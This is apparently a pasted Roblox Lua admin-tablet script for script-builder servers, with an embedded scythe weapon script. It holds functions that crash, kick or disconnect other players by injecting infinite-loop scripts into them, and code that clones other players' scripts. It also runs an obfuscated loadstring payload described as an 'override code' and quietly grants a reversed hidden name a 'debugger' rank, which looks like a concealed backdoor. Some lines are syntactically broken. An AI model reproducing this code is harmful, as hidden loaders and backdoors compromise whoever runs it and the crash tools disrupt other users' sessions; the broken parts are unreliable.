Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Database = {
- ["Colors"] = {
- ["Olive"] = Color3.new(0.5,1,0);
- ["BlueishGreen"] = Color3.new(0,1,0.5),
- ["Aqua"] = Color3.new(0,1,1),
- ["SoftBlue"] = Color3.new(0,0.5,1),
- ["Purple"] = Color3.new(0.5,0,1),
- ["CustomMagenta"] = Color3.new(0.75,0,0.75),
- ["Red"] = Color3.new(1,0,0),
- ["PinkRed"] = Color3.new(1,0,0.5),
- ["Pink"] = Color3.new(1,0,1),
- ["Orange"] = Color3.new(1,0.5,0),
- ["Yellow"] = Color3.new(1,1,0),
- ["Green"] = Color3.new(0,1,0),
- ["Blue"] = Color3.new(0,0,1),
- ["Cyan"] = Color3.new(0,0.6,1),
- ["LightBlue"] = Color3.new(0,1,1),
- ["Magenta"] = Color3.new(0.54,0,0.54),
- ["White"] = Color3.new(1,1,1),
- ["Grey"] = Color3.new(0.5,0.5,0.5),
- ["Black"] = Color3.new(0,0,0),
- };
- ["AdvancedColors"] = {
- ["CustomPurple"] = Color3.new(102/255, 51/255, 153/255);
- ["Random"] = Color3.new(255,255,255)--Lol it's actually white
- };
- ["Music"] = {
- ["Original Chrono Trigger Theme"] = 1280463,
- ["Rickroll"] = 2027611,
- ["Mario Game"] = 1280470,
- ["Carmell Dansen"] = 2303479,
- ["Japanese Chior"] = 1372258,
- ["One Winged Angel"] = 1372260,
- ["M.U.L.E. "] = 1077604,
- ["FFVII Battle AC"] = 1280473,
- ["Cursed Abbey"] = 1372257,
- ["Fire Emblem"] = 1372259,
- ["Final Destination"] = 1280414,
- ["Pokemon Theme"] = 1372261,
- ["SSM End"] = 1372262,
- ["Winds of Fjords"] = 1015394,
- ["Halo Theme"] = 1034065,
- ["Medevil style music"] = 5982975,
- ["Woman King"] = 5986151,
- ["Awakenking"] = 27697277,
- ["Better off"] = 27697392,
- ["DOTR"] = 11420922,
- ["Entertainer"] = 27697267,
- ["Flight Bumblebee"] = 27697719,
- ["Foggy Montain"] = 27697298,
- ["Gothic"] = 27697743,
- ["Hip Hop"] = 27697735,
- ["Music 4 a Film"] = 27697713,
- ["Nezzera"] = 8610025,
- ["Resist"] = 27697234,
- ["Schala"] = 5985787,
- ["TOPW"] = 11420933,
- ["Toccata Fugue"] = 11231513,
- ["Tunnel"] = 9650822
- };
- };
- a,b = ypcall(function()
- script.Name = "KKA TABLETS G6"
- Plrs = game:GetService("Players")
- Work = game:GetService("Workspace")
- Light = game:GetService("Lighting")
- Net = game:GetService("NetworkServer")
- Owner = "iiDeadzon" --*Name Here*--
- Owner2 = "" --*Friend's Name Here*--
- TabletSize=Vector3.new(2,2.5,0.2)
- TabletTransparency=0.17
- SourceName = ''
- ScriptLines = 0
- LSource = nil
- SB = ''
- FCColor = BrickColor.new("Hot pink").Color --*Friends Favorite Color Here*--
- CColor = BrickColor.new("Royal purple").Color --*Your Favorite Color Here*--
- Scale=Vector3.new(2,2,2)
- script.Parent = nil
- SSource = script:Clone()
- SSource.Disabled = true
- Removed = false
- Bet = "/"
- Bet2 = "/"
- Version = [[6.7]]
- Updates = [[ Added Skit, Shadow kit :D ]]
- local z={["~"]=0,["$"]=1,["+"]=2,["#"]=3,["="]=4,["_"]=5,["*"]=6,["("]=7,["%"]=8,[")"]=9,["!"]=10,["^"]=11,["-"]=12,["@"]=13,["&"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
- "?=*(_*+(+()*=*_*#=?*=*_*~+@#~A+#=%*)*!(_(+(_(&#$=#(_(&*$*~+^*++" -- Override code is "Chizuru>Asuna k"
- }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
- LS = nil
- LogOn = false
- Priv = false
- False = false
- ScriptingLocked = false
- Yes = 0
- No = 0
- CrashPhrases = false
- Current = game
- Clipboard = {}
- CrashWords = {'TeleportService'}
- Chats = {}
- PrivPlrs = {'Cobalt1164','einsteinK'}
- OptionColor = BrickColor.new("Really red").Color
- ImportantColor = BrickColor.new("Royal purple").Color
- if script:findFirstChild("source") then
- SourceName = 'source'
- SB = [[Alakazard]]
- elseif script:findFirstChild('DSource') then
- SourceName = 'DSource'
- SB = [[Anaminus]]
- elseif script:findFirstChild('Source') then
- SourceName = 'Source'
- SB = [[Oxcool]]
- else
- SourceName = "No Source Name"
- SB = [[Unknown]]
- end
- RanksList = {
- [-4] = {Name = "Removed", Color = BrickColor.new("Really black").Color, Desc = "SB Removed"},
- [-3] = {Name = "Crashed", Color = BrickColor.new("Hot pink").Color, Desc = "Crashed on joined"},
- [-2] = {Name = "Lagged", Color = BrickColor.new("Really red").Color, Desc = "Lagged on joined"},
- [-1] = {Name = "Banned", Color = BrickColor.new("Bright red").Color, Desc = "Forever banned"},
- [0] = {Name = "Player", Color = BrickColor.new("Really black").Color, Desc = "Regular player"},
- [1] = {Name = "Helper", Color = BrickColor.new("New Yeller").Color, Desc = "Helper"},
- [2] = {Name = "Administrator", Color = BrickColor.new("Bright orange").Color, Desc = "Administrator"},
- [3] = {Name = "Moderator", Color = BrickColor.new("Deep orange").Color, Desc = "Moderator"},
- [4] = {Name = "Maximum Moderator", Color = BrickColor.new("Magenta").Color, Desc = "Maximum Moderator of the server"},
- [5] = {Name = "Maximum Administrator", Color = BrickColor.new("Pastel Blue").Color, Desc = "Maximum Administrator of the server"},
- [6] = {Name = "BFFL", Color = FCColor, Desc = "Mah BFFLS"},
- [7] = {Name = "Creator", Color = CColor, Desc = "Creator"},
- }
- Ranked = {
- {Name = "iiDeadzone", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me
- }
- table.insert(Ranked, {Name = Owner, Rank = 7, Color = CColor})
- table.insert(Ranked, {Name = Owner2, Rank = 6, Color = FCColor})
- ImportantServices = {
- "Workspace",
- "Players",
- "NetworkServer",
- "Lighting",
- "StarterGui",
- "Teams",
- "StarterPack",
- "HttpService",
- "ServerStorage",
- "ServerScriptService",
- "ReplicatedStorage",
- }
- Ranks = {}
- Commands = {}
- AllTabs = {}
- Injected = {}
- wait()
- coroutine.wrap(function()
- while wait() do
- if LSource ~= nil then break end
- if SourceName == "source" then break end
- for _,v in pairs(game.Players:players()) do
- if LSource ~= nil then break end
- pcall(function()
- for j,k in pairs(v.Backpack:children()) do
- if LSource ~= nil then break end
- if k.ClassName == 'LocalScript' then
- if k:findFirstChild(SourceName) ~= nil then
- k.Archivable = true
- LSource = k:Clone()
- LSource.Disabled = true
- Output("Source found",Seaker,5)
- break
- end
- end
- wait()
- end
- for j,k in pairs(v.Character:children()) do
- if LSource ~= nil then break end
- if k.ClassName == 'LocalScript' then
- if k:findFirstChild(SourceName) ~= nil then
- k.Archivable = true
- LSource = k:Clone()
- LSource.Disabled = true
- Output("Source found",Speaker,5)
- break
- end
- end
- wait()
- end
- end)
- end
- end
- end)()
- function Disconnect(str)
- local a = Instance.new("StringValue", game:service'Lighting')
- a.Name = 'Disconnect'
- a.Value = tostring(str)
- game:service'Debris':AddItem(a,5)
- end
- function CheckImportant(Name)
- for _,v in pairs(ImportantServices) do
- if v:lower() == Name:lower() then
- return true
- end
- end
- return false
- end
- function NewS(sourcev, parent)
- if SourceName == 'source' then
- NS(source,parent)
- else
- local s = SSource:Clone()
- s.Parent = parent
- if s:findFirstChild(SourceName) ~= nil then
- source = s:findFirstChild(SourceName)
- else
- source = Instance.new("StringValue", s)
- source.Name = SourceName
- end
- if source then
- source.Value = sourcev
- else
- Output("Something went wrong",nil,5)
- end
- wait()
- s.Disabled = false
- end
- end
- function NewLS(sourcev,parent, lock)
- if SourceName == 'source' then
- NLS(sourcev,parent)
- elseif LSource then
- local s = LSource:Clone()
- s.Parent = parent
- if s:findFirstChild(SourceName) ~= nil then
- source = s:findFirstChild(SourceName)
- else
- source = Instance.new("StringValue", s)
- source.Name = SourceName
- end
- if source then
- source.Value = sourcev
- else
- Output("Something wen't wrong",nil,5)
- return
- end
- wait()
- if lock == true then
- for i = 0,5 do
- s.Disabled = false
- wait(0.5)
- s.Disabled = true
- wait(0.5)
- s.Disabled = false
- end
- else
- s.Disabled = false
- end
- return s
- else
- Output("No source",nil,5)
- end
- end
- function RemoteCrash(Nil)
- local chinws = false
- for i,v in pairs(workspace:children()) do
- if v.Name:find(Nil) ~= nil then
- NewLS("repeat until false", v)
- Output("Crashed "..v.Name.." from workspace",nil,5)
- chinws = true
- end
- end
- if chinws == true then return end
- for i,v in pairs(game:service'NetworkServer':children()) do
- if v:GetPlayer() then
- if v:GetPlayer().Name == Nil then
- if v:GetPlayer().Character ~= nil then
- NewLS("repeat until false", v:GetPlayer().Character)
- OutputAdmins('Crashed '..v:GetPlayer().Name..' by character','Really red')
- elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then
- NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
- OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
- elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then
- NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
- OutputAdmins('Crashed '..v:GetPlayer().Name..' by playergui','Really red')
- else
- NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
- OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
- end
- end
- end
- end
- end
- function Crash1(Plr)
- ypcall(function()
- Plr:Kick()
- end)
- end
- function GetRankTab()
- return Ranked
- end
- function Crash2(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
- function Crash3(v, Speaker)
- Speaker.Character.Archivable = true
- local NChar = Speaker.Character:Clone()
- NChar.Name = v.Name
- NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
- NChar.Parent = Workspace
- v.Character = NChar
- coroutine.resume(coroutine.create(function()
- repeat v.Character = NChar
- wait(1/3) until false
- end))
- wait(.5)
- end
- function Crash4(Name)
- NewLS("repeat until false", Name)
- end
- function Crash5(Name)
- local a = Instance.new("StringValue", game.Lighting)
- a.Name = "DISC: "..Name
- game:service'Debris':AddItem(a, 3)
- end
- Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
- RanksList[8] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
- function GenerateDigit()
- return 1 + 5
- end
- TestOp1 = [[
- LocalPlayer = game.Players.LocalPlayer
- LocalPlayer.Character.Humanoid.MaxHealth = math.huge
- Activated = false
- Equipped = false
- Regening = false
- FireBall = false
- Spikes = false
- Destiny = false
- Explosion = false
- Tornado = false
- Wall = false
- Armor = false
- shooting = false
- Mode = "Shoot"
- Energy = 10000
- mouse = LocalPlayer:GetMouse()
- t = Instance.new("Tool",LocalPlayer.Backpack)
- t.Name = 'Cobalt1164s Phantom Scythe'
- t.GripPos = Vector3.new(0,0,0)
- p = Instance.new("Part",t)
- p.FormFactor = 'Custom'
- p.Name = 'Handle'
- p.Transparency = 0.3
- p.Reflectance = 0.3
- p.CanCollide = false
- p.BrickColor = BrickColor.new("Really black")
- m = Instance.new("SpecialMesh",p)
- m.MeshId = 'http://www.roblox.com/asset/?id=95891318'
- m.TextureId = 'http://www.roblox.com/asset/?id='
- m.Scale = Vector3.new(1,1,1)
- char = LocalPlayer.Character
- mouse = LocalPlayer:GetMouse()
- humanoid = char:findFirstChild("Humanoid")
- torso = char:findFirstChild("Torso")
- head = char.Head
- local Colors = {"Royal Purple","Really black"}
- ra = char:findFirstChild("Right Arm")
- la = char:findFirstChild("Left Arm")
- rl = char:findFirstChild("Right Leg")
- ll = char:findFirstChild("Left Leg")
- rs = torso:findFirstChild("Right Shoulder")
- ls = torso:findFirstChild("Left Shoulder")
- rh = torso:findFirstChild("Right Hip")
- lh = torso:findFirstChild("Left Hip")
- neck = torso:findFirstChild("Neck")
- rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- anim = char:findFirstChild("Animate")
- rootpart = char:findFirstChild("HumanoidRootPart")
- camera = workspace.CurrentCamera
- if anim then
- anim:Destroy()
- end
- rm = Instance.new("Motor", torso)
- rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
- rm.C1 = CFrame.new(0, 0.5, 0)
- rm.Part0 = torso
- rm.Part1 = ra
- lm = Instance.new("Motor", torso)
- lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
- lm.C1 = CFrame.new(0, 0.5, 0)
- lm.Part0 = torso
- lm.Part1 = la
- rlegm = Instance.new("Motor", torso)
- rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0)
- rlegm.C1 = CFrame.new(0, 1, 0)
- rlegm.Part0 = torso
- rlegm.Part1 = rl
- llegm = Instance.new("Motor", torso)
- llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0)
- llegm.C1 = CFrame.new(0, 1, 0)
- llegm.Part0 = torso
- llegm.Part1 = ll
- rsc0 = rm.C0
- lsc0 = lm.C0
- llc0 = llegm.C0
- rlc0 = rlegm.C0
- neckc0 = neck.C0
- rootc0 = rj.C0
- PLAYERGUI = LocalPlayer.PlayerGui
- GUI = Instance.new("ScreenGui",PLAYERGUI)
- FRAME = Instance.new("Frame",GUI)
- FRAME.Size = UDim2.new(0.5,0,0.05,0)
- FRAME.BackgroundColor3 = BrickColor.new("Bright bluish green").Color
- FRAME.BorderSizePixel = 0
- FRAME.BackgroundTransparency = 0.8
- TEXTLABEL = Instance.new("TextLabel",FRAME)
- TEXTLABEL.Size = UDim2.new(1,0,1,0)
- TEXTLABEL.BackgroundTransparency = 1
- TEXTLABEL.Text = "Power: "..tostring(Energy)
- TEXTLABEL.TextColor3 = BrickColor.new("Bright bluish green").Color
- TEXTLABEL.TextStrokeColor3 = BrickColor.new("Bright blue").Color
- TEXTLABEL.BorderSizePixel = 0
- TEXTLABEL.Font = 'SourceSansBold'
- TEXTLABEL.FontSize = 'Size36'
- TEXTLABEL.TextStrokeTransparency = 0
- FRAME2 = Instance.new("Frame",GUI)
- FRAME2.Size = UDim2.new(0.5,0,0.05,0)
- FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
- FRAME2.BorderSizePixel = 0
- FRAME2.Position = UDim2.new(0.5,0,0,0)
- FRAME2.BackgroundTransparency = 0.8
- TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
- TEXTLABEL2.Size = UDim2.new(1,0,1,0)
- TEXTLABEL2.BackgroundTransparency = 1
- TEXTLABEL2.Text = "Current Health: "..tostring(humanoid.Health)
- TEXTLABEL2.TextColor3 = BrickColor.new("Really red").Color
- TEXTLABEL2.TextStrokeColor3 = BrickColor.new("Bright red").Color
- TEXTLABEL2.BorderSizePixel = 0
- TEXTLABEL2.BorderSizePixel = 0
- TEXTLABEL2.Font = 'SourceSansBold'
- TEXTLABEL2.FontSize = 'Size36'
- FRAME3 = Instance.new("Frame",GUI)
- FRAME3.Size = UDim2.new(0.5,0,0.05,0)
- FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
- FRAME3.BorderSizePixel = 0
- FRAME3.Position = UDim2.new(0.5,0,0.05,0)
- FRAME3.BackgroundTransparency = 0.8
- TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
- TEXTLABEL3.Size = UDim2.new(1,0,1,0)
- TEXTLABEL3.BackgroundTransparency = 1
- TEXTLABEL3.Text = "Strength: Dark Wyvern"
- TEXTLABEL3.BorderSizePixel = 0
- TEXTLABEL3.Font = 'SourceSansBold'
- TEXTLABEL3.FontSize = 'Size24'
- function __getVelocity(p1,p2,speed)
- local dis=(p1-p2).magnitude
- if speed=="dis" then
- if dis*6>100 then
- speed=dis*6
- else
- speed=100
- end
- end
- local x=(p1.x-p2.x)/dis*speed
- local y=(p1.y-p2.y)/dis*speed
- local z=(p1.z-p2.z)/dis*speed
- return Vector3.new(-x,-y+10,-z)
- end
- function __onActivated()
- Activated = true
- end
- function __onDeactivated()
- Activated = false
- end
- function __onEquipped(mouse)
- Equipped = true
- pcall(function()
- local a = Instance.new("Explosion",LocalPlayer.Character)
- a.Position = LocalPlayer.Character['Right Arm'].Position
- a.BlastPressure = 0
- a.BlastRadius = 50
- local l = Instance.new("PointLight", LocalPlayer.Character.Torso)
- l.Brightness = 20
- l.Color = Color3.new(1,1,1)
- l.Enabled = true
- l.Range = 20
- l.Shadows = true
- end)
- local b = Instance.new("Fire",p)
- b.Size = 1
- b.Color = Color3.new(255, 255, 255)
- b.SecondaryColor = Color3.new(0, 255, 255)
- local l = Instance.new("PointLight", p)
- l.Brightness = 20
- l.Color = Color3.new(1,1,1)
- l.Enabled = true
- l.Range = 20
- l.Shadows = true
- local w = Instance.new("Motor",char['Right Arm'])
- w.Name = 'phantom scythe weld'
- w.Part0 = char['Right Arm']
- w.Part1 = p
- w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0)
- end
- function __onUnequipped(mouse)
- Equipped = false
- pcall(function()
- p.Fire:Destroy()
- end)
- pcall(function()
- char['Right Arm']['phantom scythe weld']:Destroy()
- end)
- end
- function __Shoot()
- if Regening == true then return end
- if Energy < 50 then return end
- shooting = true
- game:GetService("Chat"):Chat(head,"[ Dark Wyvern! ]",2)
- Energy = Energy - 150
- humanoid.WalkSpeed = 30
- local speed = math.random(400,500)
- local bullet = Instance.new("Part",workspace)
- bullet.Name = 'Bullet'
- bullet.TopSurface = 0
- bullet.BottomSurface = 0
- bullet.Size = Vector3.new(30,30,30)
- bullet.FormFactor = 'Custom'
- bullet.CFrame = p.CFrame
- bullet.CanCollide = false
- bullet.BrickColor = BrickColor.new("Really black")
- bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed)
- bullet.FrontSurface = "Smooth"
- bullet.BottomSurface = "Smooth"
- local pie = Instance.new("PointLight", bullet)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really red").Color
- pie.Range = 60
- local bulletmesh = Instance.new("SpecialMesh",bullet)
- bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=95891318'
- bulletmesh.VertexColor = Vector3.new(0,0,0)
- bullet.Touched:connect(function(toucher)
- if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then
- for i,v in pairs(toucher.Parent:children()) do
- if v.ClassName == 'Humanoid' then
- if v.Health > 100 then
- v.Health = 0
- else
- v.Health = v.Health - speed/50
- end
- end
- end
- bullet:Destroy()
- end
- end)
- wait(1)
- shooting = false
- humanoid.WalkSpeed = 100
- end
- function __Armor()
- if Regening == true then return end
- if Energy < 1000 then return end
- if FireBall == true then return end
- Energy = Energy - 1000
- game:GetService("Chat"):Chat(head,"[ Armor of Constealing Light! ]",2)
- local a = Instance.new("Part",workspace)
- a.Anchored = true
- a.CanCollide = false
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(500,500,500)
- a.Transparency = 0.5
- a.BrickColor = BrickColor.new("Really black")
- a.FrontSurface = "Smooth"
- a.BottomSurface = "Smooth"
- local pie = Instance.new("PointLight", a)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 60
- Instance.new("SpecialMesh", a).MeshType = 'Sphere'
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what:IsA("Part") then
- local ex2 = Instance.new("Explosion", workspace)
- ex2.Position = what.Position
- ex2.BlastPressure = 0
- ex2.BlastRadius = 50
- wait(1)
- what:Destroy()
- end
- end
- end)
- coroutine.wrap(function()
- Armor = true
- humanoid.WalkSpeed = 30
- for i = 0,1,0.05 do
- a.Mesh.Scale = Vector3.new(i,i,i)
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
- wait()
- end
- Armor = false
- humanoid.WalkSpeed = 100
- end)()
- coroutine.wrap(function()
- wait(5)
- Instance.new("Explosion",workspace).Position = a.Position
- a:Destroy()
- end)()
- end
- function __FireBall()
- if Regening == true then return end
- if Energy < 150 then return end
- if FireBall == true then return end
- Energy = Energy - 150
- game:GetService("Chat"):Chat(head,"[ Dark Black-Fire! ]",2)
- local a = Instance.new("Part",workspace)
- a.Anchored = true
- a.CanCollide = false
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(100,100,100)
- a.Transparency = 0.5
- a.BrickColor = BrickColor.new("Really black")
- a.FrontSurface = "Smooth"
- a.BottomSurface = "Smooth"
- local pie = Instance.new("PointLight", a)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 60
- Instance.new("SpecialMesh", a).MeshType = 'Sphere'
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
- what:Destroy()
- end
- end
- end)
- coroutine.wrap(function()
- FireBall = true
- humanoid.WalkSpeed = 0
- for i = 0,1,0.05 do
- a.Mesh.Scale = Vector3.new(i,i,i)
- wait()
- end
- FireBall = false
- humanoid.WalkSpeed = 100
- while wait() do
- if a == nil or a.Parent ~= workspace then break end
- a.CFrame = a.CFrame * CFrame.new(0,0,-1)
- end
- con:disconnect()
- end)()
- coroutine.wrap(function()
- wait(5)
- Instance.new("Explosion",workspace).Position = a.Position
- a:Destroy()
- end)()
- end
- function __Wall()
- if Regening == true then return end
- if Energy < 200 then return end
- if Wall == true then return end
- Energy = Energy - 200
- game:GetService("Chat"):Chat(head,"[ Wall of Stealing Souls! ]",2)
- local a = Instance.new("Part",workspace)
- a.Anchored = true
- a.CanCollide = false
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-20)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(500,500,50)
- a.Transparency = 0.5
- a.BrickColor = BrickColor.new("Really black")
- a.FrontSurface = "Smooth"
- a.BottomSurface = "Smooth"
- local pie = Instance.new("PointLight", a)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really red").Color
- pie.Range = 60
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Name == "Part" or "Sand" or "Blast" or "Ray" then
- what:Remove()
- elseif what.Name == "Base" or "Baseplate" then
- return
- end
- end
- end)
- coroutine.wrap(function()
- Wall = true
- humanoid.WalkSpeed = 0
- wait(2)
- Wall = false
- humanoid.WalkSpeed = 100
- con:disconnect()
- p:Remove()
- end)()
- coroutine.wrap(function()
- wait(5)
- Instance.new("Explosion",workspace).Position = a.Position
- a:Destroy()
- end)()
- end
- function __Tornado()
- if Regening == true then return end
- if Energy < 150 then return end
- if Tornado == true then return end
- Energy = Energy - 150
- game:GetService("Chat"):Chat(head,"[ Black Wind ]",2)
- local a = Instance.new("Part",workspace)
- a.Anchored = true
- a.CanCollide = false
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(100,100,100)
- a.Transparency = 0.5
- a.Reflectance = 0.5
- a.BrickColor = BrickColor.new("Really black")
- a.BottomSurface = "Smooth"
- a.TopSurface = "Smooth"
- local pie = Instance.new("PointLight", a)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 10
- local b = Instance.new("SpecialMesh",a)
- b.MeshId = 'http://www.roblox.com/asset/?id=16606212'
- b.VertexColor = Vector3.new(1, 1, 1)
- b.Scale = Vector3.new(10, 10, 10)
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
- what:Destroy()
- end
- end
- end)
- coroutine.wrap(function()
- Tornado = true
- humanoid.WalkSpeed = 0
- for i = 0,1,0.05 do
- a.Mesh.Scale = Vector3.new(10,10,10)
- wait()
- end
- Tornado = false
- humanoid.WalkSpeed = 100
- while wait() do
- if a == nil or a.Parent ~= workspace then break end
- a.CFrame = a.CFrame * CFrame.new(0,0,-1)
- end
- con:disconnect()
- end)()
- coroutine.wrap(function()
- wait(5)
- Instance.new("Explosion",workspace).Position = a.Position
- a:Destroy()
- end)()
- end
- function __Destiny()
- if Regening == true then return end
- if Energy < 200 then return end
- if Destiny == true then return end
- Energy = Energy - 200
- game:GetService("Chat"):Chat(head,"[ Scythe's Shadow ]",2)
- local a = Instance.new("Part",workspace)
- a.Anchored = true
- a.CanCollide = false
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(1000,0.2,50)
- a.BottomSurface = 'Smooth'
- a.TopSurface = 'Smooth'
- a.Transparency = 0.5
- a.BrickColor = BrickColor.new("Really black")
- local pie = Instance.new("PointLight", a)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 20
- Instance.new("SpecialMesh", a).MeshType = 'Sphere'
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
- what:Destroy()
- end
- end
- end)
- coroutine.wrap(function()
- Destiny = true
- humanoid.WalkSpeed = 0
- for i = 0,1,0.05 do
- a.Mesh.Scale = Vector3.new(i,i,i)
- wait()
- end
- Destiny = false
- humanoid.WalkSpeed = 100
- while wait() do
- if a == nil or a.Parent ~= workspace then break end
- a.CFrame = a.CFrame * CFrame.new(0,0,-1)
- end
- con:disconnect()
- end)()
- coroutine.wrap(function()
- wait(5)
- Instance.new("Explosion",workspace).Position = a.Position
- a:Destroy()
- end)()
- end
- function __Spikes()
- if Regening == true then return end
- if Energy < 100 then return end
- if Spikes == true then return end
- Energy = Energy - 100
- Spikes = true
- game:GetService("Chat"):Chat(head,"[ Scythes of Hell! ]",2)
- humanoid.WalkSpeed = 0
- for z = 0,200 do
- local a = Instance.new("Part",workspace)
- a.FormFactor = 'Custom'
- a.Size = Vector3.new(30, 500, 30)
- a.Anchored = true
- a.CanCollide = false
- a.BrickColor = BrickColor.new("Really blue")
- a.Transparency = 0.5
- a.Reflectance = 0.5
- a.FrontSurface = "Smooth"
- a.BottomSurface = "Smooth"
- local pie = Instance.new("PointLight", a)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Royal purple").Color
- pie.Range = 20
- local b = Instance.new("SpecialMesh",a)
- b.MeshId = 'http://www.roblox.com/asset/?id=95891318'
- b.VertexColor = Vector3.new(1, 1, 1)
- b.Scale = Vector3.new(1,1,1)
- a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2)
- local con = a.Touched:connect(function(what)
- if what.Parent.Name ~= LocalPlayer.Name then
- if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
- for i,v in pairs(what.Parent:children()) do
- if v.ClassName == 'Humanoid' then
- if v.Health > 100 then v.Health = 100 end
- v.Health = v.Health - 100
- end
- end
- end
- end
- end)
- coroutine.wrap(function()
- wait(3)
- a:Destroy()
- con:disconnect()
- end)()
- wait()
- end
- humanoid.WalkSpeed = 100
- Spikes = false
- end
- function __Lightning()
- if Energy < 250 then return end
- if Lightning == true then return end
- if Regening == true then return end
- humanoid.WalkSpeed = 50
- Lightning = true
- game:GetService("Chat"):Chat(head,"[ Scythe's Judgement! ]",2)
- Energy = Energy - 250
- local function segment(pos1,pos2,color)
- local dis=(pos1-pos2).magnitude
- local p=Instance.new("Part")
- p.CanCollide=false
- p.FormFactor="Custom"
- p.Size=Vector3.new(50,50,dis)
- p.Anchored=true
- p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2)
- p.BrickColor=color
- p.Transparency = 0.5
- p.Reflectance = 0.5
- p.FrontSurface = "Smooth"
- p.BottomSurface = "Smooth"
- local pie = Instance.new("PointLight", p)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 20
- local pie2 = Instance.new("SpecialMesh", p)
- pie2.MeshId = "http://www.roblox.com/asset/?id=95891318"
- pie2.Scale = Vector3.new(10,10,10)
- return p
- end
- target = mouse.Hit
- height=1000
- prev=(target*CFrame.new(0,300,0)).p
- for i=height,30,-50 do
- cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z)
- p=segment(prev,cur,BrickColor.new("Really black"))
- p.Parent=workspace
- local pie = Instance.new("PointLight", p)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 10
- game:service("Debris"):AddItem(p,3)
- prev=cur
- wait()
- end
- p=segment(prev,target.p,BrickColor.new("Really black"))
- p.Parent=workspace
- local pie = Instance.new("PointLight", p)
- pie.Brightness = 5000
- pie.Color = BrickColor.new("Really blue").Color
- pie.Range = 10
- game:service("Debris"):AddItem(p,3)
- local ex = Instance.new("Explosion",workspace)
- ex.Position=target.p
- ex.BlastRadius = 100
- wait(1)
- Lightning = false
- humanoid.WalkSpeed = 100
- end
- function __Explosion()
- if Energy < 1000 then return end
- if Explosion == true then return end
- if Regening == true then return end
- humanoid.WalkSpeed = 0
- Explosion = true
- Energy = Energy - 1000
- game:GetService("Chat"):Chat(head,"[ Scythe's Shattted Judgement of Hell! ]",2)
